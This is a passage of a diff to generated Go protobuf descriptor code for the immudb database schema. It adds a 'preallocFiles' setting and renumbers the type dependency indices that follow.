0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, + 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, + 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, + 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, + 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, + 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, + 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, + 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, + 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, + 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, + 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, + 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10704,218 +10717,219 @@ var file_schema_proto_depIdxs = []int32{ 77, // 85: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32 85, // 86: immudb.schema.DatabaseNullableSettings.truncationSettings:type_name -> immudb.schema.TruncationNullableSettings 80, // 87: immudb.schema.DatabaseNullableSettings.embeddedValues:type_name -> immudb.schema.NullableBool - 80, // 88: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool - 81, // 89: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString - 81, // 90: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString - 77, // 91: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 - 81, // 92: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString - 81, // 93: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString - 80, // 94: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool - 77, // 95: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 - 77, // 96: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 - 77, // 97: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 - 80, // 98: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool - 80, // 99: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool - 80, // 100: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool - 82, // 101: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds - 82, // 102: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds - 77, // 103: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 - 77, // 104: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 77, // 105: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 - 77, // 106: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 - 77, // 107: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 - 78, // 108: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 - 77, // 109: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 - 77, // 110: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 - 77, // 111: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 112: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 113: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 114: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 - 79, // 115: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 77, // 116: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 - 82, // 117: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds - 77, // 118: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 77, // 119: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 118, // 120: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 97, // 121: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 37, // 122: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 99, // 123: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 39, // 124: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 42, // 125: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 129, // 126: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 130, // 127: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 131, // 128: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 132, // 129: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 130: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 69, // 131: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 107, // 132: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 83, // 133: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 133, // 134: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry - 112, // 135: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 112, // 136: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 118, // 137: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 114, // 138: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 139: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 134, // 140: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 135, // 141: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 116, // 142: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 117, // 143: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 118, // 144: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 136, // 145: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 146: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 78, // 147: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 82, // 148: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 118, // 149: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 118, // 150: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 137, // 151: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 152: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 153: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 102, // 154: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 103, // 155: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 156: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 157: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 158: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 137, // 159: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 137, // 160: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 119, // 161: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 137, // 162: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 137, // 163: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 110, // 164: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 111, // 165: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 166: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 137, // 167: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 43, // 168: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 47, // 169: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 44, // 170: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 48, // 171: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 46, // 172: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 45, // 173: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 174: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 175: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 176: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 137, // 177: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 61, // 178: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 64, // 179: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 65, // 180: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 59, // 181: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 49, // 182: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 137, // 183: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 137, // 184: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 137, // 185: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 54, // 186: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 55, // 187: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 56, // 188: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 60, // 189: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 58, // 190: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 69, // 191: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 70, // 192: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 71, // 193: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 88, // 194: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 90, // 195: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 92, // 196: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 137, // 197: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 105, // 198: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 69, // 199: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 70, // 200: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 73, // 201: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 137, // 202: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 75, // 203: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 94, // 204: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 137, // 205: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 44, // 206: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 108, // 207: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 48, // 208: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 108, // 209: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 210: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 58, // 211: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 59, // 212: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 108, // 213: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 67, // 214: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 108, // 215: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 67, // 216: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest - 110, // 217: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 111, // 218: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 137, // 219: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 96, // 220: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 98, // 221: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 124, // 222: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 6, // 223: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 137, // 224: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 137, // 225: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 137, // 226: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 137, // 227: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 137, // 228: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 137, // 229: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 230: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 137, // 231: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 137, // 232: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 120, // 233: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 114, // 234: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 137, // 235: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 137, // 236: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 115, // 237: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 238: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 137, // 239: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 240: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 39, // 241: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 242: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 41, // 243: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 244: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 245: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 246: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 247: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 248: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 249: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 35, // 250: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 39, // 251: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 66, // 252: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 253: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 50, // 254: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 51, // 255: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 52, // 256: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 53, // 257: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 258: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 39, // 259: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 260: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 39, // 261: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 262: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 137, // 263: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 137, // 264: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 72, // 265: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 89, // 266: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 91, // 267: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 93, // 268: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 104, // 269: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 106, // 270: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 101, // 271: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 137, // 272: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 74, // 273: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 70, // 274: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 76, // 275: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 95, // 276: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 137, // 277: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 108, // 278: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 279: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 108, // 280: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 39, // 281: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 108, // 282: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 108, // 283: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 108, // 284: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 285: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 108, // 286: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 287: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 108, // 288: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk - 113, // 289: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 115, // 290: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 115, // 291: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 115, // 292: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 100, // 293: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 125, // 294: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 223, // [223:295] is the sub-list for method output_type - 151, // [151:223] is the sub-list for method input_type - 151, // [151:151] is the sub-list for extension type_name - 151, // [151:151] is the sub-list for extension extendee - 0, // [0:151] is the sub-list for field type_name + 80, // 88: immudb.schema.DatabaseNullableSettings.preallocFiles:type_name -> immudb.schema.NullableBool + 80, // 89: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool + 81, // 90: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString + 81, // 91: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString + 77, // 92: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 + 81, // 93: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString + 81, // 94: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString + 80, // 95: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool + 77, // 96: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 + 77, // 97: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 + 77, // 98: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 + 80, // 99: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool + 80, // 100: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool + 80, // 101: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool + 82, // 102: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds + 82, // 103: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds + 77, // 104: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 + 77, // 105: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 77, // 106: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 + 77, // 107: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 + 77, // 108: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 + 78, // 109: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 + 77, // 110: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 + 77, // 111: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 + 77, // 112: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 113: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 114: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 115: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 + 79, // 116: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat + 77, // 117: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 + 82, // 118: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds + 77, // 119: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 77, // 120: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 118, // 121: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 97, // 122: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 37, // 123: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 99, // 124: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 39, // 125: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 42, // 126: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 129, // 127: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 130, // 128: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 131, // 129: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 132, // 130: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 1, // 131: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 69, // 132: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 107, // 133: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings + 83, // 134: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 133, // 135: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry + 112, // 136: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 112, // 137: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 118, // 138: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 114, // 139: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 140: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 134, // 141: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 135, // 142: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 116, // 143: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 117, // 144: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 118, // 145: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 136, // 146: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 147: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 78, // 148: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 82, // 149: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> 